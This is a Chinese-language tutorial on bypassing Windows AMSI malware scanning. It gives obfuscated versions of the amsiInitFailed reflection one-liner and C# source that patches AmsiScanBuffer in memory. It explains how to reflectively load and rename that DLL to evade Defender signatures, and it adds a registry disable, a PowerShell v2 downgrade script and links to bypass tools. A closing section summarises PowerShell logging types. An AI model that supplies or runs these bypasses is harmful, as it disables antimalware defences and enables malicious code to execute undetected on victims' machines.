AMSI 浅析及绕过
0x00 前言
0x01 AMSI浅析
1、什么是AMSI?
AMSI(Antimalware Scan Interface),即反恶意软件扫描接口,在windows 10和 windows server 2016上默认安装并启用。顾名思义,他的工作就是扫描、检测和阻止。windows 10和windows server2016中AMSI默认杀软就是Windows Defender。
2、AMSI是如何运作的?
服务和应用程序可以通过AMSI来与系统中已安装的反病毒软件进行通信,也就是Windows Defender,AMSI采用了hook方法进行检测,详细的工作原理如下:
- 创建PowerShell进程时,AMSI.DLL将从磁盘加载到其内存地址空间。
- 在AMSI.DLL中,有一个名为AmsiScanBuffer()的函数,是用来扫描脚本内容的函数。
- 在PowerShell中执行命令时,任何内容都将首先发送到AmsiScanBuffer(),然后再执行。
- 随后,AmsiScanBuffer()将Windows Defender检查,以确定是否创建了任何签名。
- 如果该内容被认为是恶意的,它将被阻止运行。
在Windows 10上,实现AMSI的所有组件如下:
- 用户帐户控制,或UAC(EXE、COM、MSI或ActiveX时的权限提升)
- Powershell(脚本、交互式使用和动态代码执行)
- Windows脚本主机(wscript.exe和cscript.exe)
- JavaScript和VBScript
- Office VBA宏
AMSI的整体架构如图所示:
0x02 绕过AMSI检测
注:AMSI使用“基于字符串的”检测措施来确定PowerShell代码是否恶意。
1、绕过字符串检测
先查看一个示例:
如图,"amsiutils" 这个词被禁止了,AMSI认为这是一个恶意攻击。
那我们如何绕过字符串检测呢,最简单的一个方法就是使用编码或者分割成块,然后拼接来绕过
下面列出三钟方法
(1)直接把单词分成两块或者多块然后进行拼接,达到绕过的效果,但在大多数情况下可能会失败
(2)进行base64编码直接绕过AMSI,在某些情况下,base64一下直接绕过去了
(3)使用XOR来绕过AMSI,并在运行时将字符串解码回内存。这比上面的base64方法更有效
当然还有其他编码方式可以自行尝试,上面这几种方法都是为了绕过"字符串检测",但是实际过程中,我们需要执行我们的脚本,也就脚本被AMSI阻止,我们通过一个实例来演示下绕过AMSI。
最早的绕过AMSI的方法是16年一个老外发布的,命令如下
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
我们把它放到powershell中运行,直接被AMSI阻止
因此,我们尝试上面方法,分割重组来实现一个简单的AMSI 绕过
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
然后我们尝试单行执行此命令,我们可以看到前两行被AMSI阻止
所以,我们重新调整一下我们的代码,然后我们就绕过了AMSI,加载了我们的脚本
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)
当然也可以使用base64编码,或者使用hex编码,效果都是一样的
base64编码
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
hex编码
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
2、通过Memory Patching绕过AMSI
这种方法并没有实际的绕过,而是禁用了AMSI,从powershell3.0开始,我们要完全绕过AMSI并执行任意powershell脚本的话,就需要完全禁用它
这是原作者的代码,把如下代码编译成C#的DLL,使用反射加载技术
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
return 1;
}
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
if (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
return 1;
}
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
return 1;
}
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);
Console.WriteLine("AmsiScanBuffer patch has been applied.");
return 0;
}
}
}
命名为"source.cs"
然后我们使用powershell来编译它,在同目录下打开powershell,运行以下命令编译
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll"
编译后运行,直接被Defender给秒了(这里我把文件还原了一下,给大家看下效果图)
然后我们把dll文件进行base64编码****(Kali下,直接使用base64 -i 文件名,就可以得到base64编码)****,然后使用powershell进行武器化,反射加载,也是直接被秒
unction Bypass-AMSI
{
if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
[Reflection.Assembly]::Load([Convert]::FromBase64String("你的base64编码")) | Out-Null
Write-Output "DLL has been reflected";
}
[Bypass.AMSI]::Disable()
}
如图,直接被秒
通过上面的知识,我们知道AMSI是基于字符串的检测**,那我们就用工具去定位一下查杀点在哪。**
工具地址:https://github.com/RythmStick/AMSITrigger
如上图所示,我们定位出查杀点是****"Bypass-AMSI、Bypass.AMSI、和一些base64中的一些字段"****。下面,我们尝试对我们的脚本进行一个免杀处理,我们直接base64编码转换成byte数组
$string = ''
$a = [System.Convert]::FromBase64String('你的base64编码')
$a | foreach {$string = $string + $_.ToString()+','}
$string
然后修改我们的源代码,加载数组
function Bypass-AMSI
{
if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
[Reflection.Assembly]::Load([byte[]]@(这里是上面得到的byte数组)) | Out-Null
Write-Output "DLL has been reflected";
}
[Bypass.AMSI]::Disable();
}
然后我们再去检测一下,这次只剩下****"Bypass-AMSI、Bypass.AMSI"****关键字
这里,如果我们直接修改这几个关键字会导致脚本运行直接报错,因为这个是运用的反射方法,不了解反射的小伙伴,去Google一下,这里我们直接修改前面的source.cs中的代码,只需要修改namespace、public class
即可,如下图
然后编译成DLL,进行base64编码,然后转换byte数组,然后修改ps1脚本,修改完的如下:
测试下效果,已经绕过AMSI
3、禁用AMSI
修改注册表,将HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的值置为0
当然关闭Windows Defender 也可以使系统自带的AMSI检测无效化,这里注意当前权限。
然后直接执行命令和加载脚本都不会拦截
4、powershell版本降级绕过
powershell v2 版本不支持AMSI,我们可以将目标主机中的powershell降级至powershell v2版本。
代码如下:
if ($ShowOnly -eq $True)
{
Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process."
}
else
{
Write-Verbose "Checking if .Net version 2.0.50727 is installed."
$versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version
if($versions -match "2.0.50727")
{
Write-Verbose ".Net version 2.0.50727 found."
Write-Output "Executing the bypass."
powershell.exe -version 2
}
else
{
Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2."
}
}
保存为 V2.ps1,运行即可绕过AMSI
5、一键Bypass AMSI
这里使用的是一个在线平台,平台可以直接生成powershell代码,这些代码可以直接破坏或者禁用当前进程的AMSI,每次生成的代码都是被混淆的,所以完全不担心会被检测到。
效果如下图:
6、其他一些方法
利用反射将内存中AmsiScanBuffer方法的检测长度置为0
脚本地址:https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909
直接本地或者远程加载即可绕过AMSI
Nishang也自带了bypassamsi的脚本,自行做免杀,避免上传被秒
地址:https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1
其他一些过时的方法,我就不加了
0x03 powershell日志浅析
上面咱们说完了怎么绕过AMSI,下面咱们来说下powershell日志。
默认情况下,这四种日志功能默认是不开启的,但是在实际渗透中,系统肯定是默认开启日志记录的
关于日志的查看方法在事件查看器中**,下面我们来分别看下这四种**日志类型
1、模块(module)日志
事件ID:4103
路径:Microsoft > Windows > PowerShell/Operational
作用:可以为 powershell 模块启动日志记录
使用Get-Module -ListAvailable
可以获取可用的模块名
2、管道执行(pipeline execute)日志
事件ID:800
路径:事件管理器 > 应用程序和服务日志 > Windows PowerShell
作用:记录 powershell 管道执行过程的事件简介
3、脚本块(script block)日志
事件id:4104
路径:Microsoft > Windows > PowerShell/Operational
作用:powershell 讲记录命令、脚本块、函数和脚本的处理
4、脚本转换(transcripttion)日志
可以将 powershell 命令的输入和输出捕获到文本中
四种日志记录内容的对比
日志详情 | 模块日志 | 管道执行日志 | 脚本块日志 | 脚本转换日志 |
---|---|---|---|---|
执行命令 | 有 | 有 | 有(包括脚本内容) | 有 |
上下文信息 | 有 | 有 | 无 | 有 |
参数绑定详情 | 有 | 有 | 无 | 无 |
解码/解混淆代码 | 无 | 无 | 有 | 有 |
命令输出 | 无 | 无 | 无 | 有 |
powershell 每个版本对日志功能的对比
日志类型 | V2版本 | V3版本 | V4版本 | V5版本 |
---|---|---|---|---|
模块日志 | 无 | 支持 | 支持(V3增强) | 支持 |
管道执行日志 | 支持 | 支持 | 支持 | 支持 |
脚本块日志 | 无 | 无 | 支持 | 支持(自动记录恶意命令) |
脚本转换日志 | 无 | 无 | 支持 | 支持(V4增强) |
不同操作系统默认的powershell版本
操作系统 | 默认Powershell版本 | 可支持Powershell版本 |
---|---|---|
Windows Server 2008(SP2) | 2.0 | 3.0 |
Windows Server 2008 R2(SP1) | 5.1 | 5.1 |
Windows Server 2012 | 3.0 | 5.1 |
Windows Server 2012(R2) | 4.0 | 5.1 |
Windows 7(SP1) | 5.1 | 5.1 |
Windows 8 | 3.0 | 5.1 |
Windows 8.1 | 4.0 | 5.1 |
Windows 10 | 5.0 | 5.1# |